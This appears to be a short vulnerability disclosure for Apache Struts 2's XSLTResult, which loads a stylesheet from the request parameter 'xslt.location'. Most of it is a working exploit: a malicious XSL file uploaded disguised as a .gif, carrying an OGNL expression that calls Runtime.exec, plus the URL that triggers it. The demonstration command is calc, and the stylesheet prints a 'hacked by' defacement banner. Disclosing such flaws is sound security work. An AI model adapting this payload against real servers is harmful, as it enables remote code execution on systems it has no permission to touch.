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the file:
http://svn.apache.org/repos/asf/struts/struts2/trunk/core/src/main/java/org/apache/struts2/views/xslt/XSLTResult.java
String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");
path = pathFromRequest;
URL resource = ServletActionContext.getServletContext().getResource(path);
templates = factory.newTemplates(new StreamSource(resource.openStream()));
A use of the action of xsltResult:
<action name="xslt" class="net.inbreak.xsltAction">
<result type="xslt"/>
</action>
An attacker can upload a file:
/upload/7758521.gif
<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" xmlns:ognl="ognl.Ognl">
<xsl:template match="/">
<html>
<body>
<h2>hacked by kxlzx</h2>
<h2>http://www.inbreak.net</h2>
<exp>
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>
</exp>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
open url
http://www.inbreak.net/xslt.action?xslt.location=upload/7758521.gif
then struts2 will execute
ognl:getValue('@Runtime@getRuntime().exec("calc")', '')
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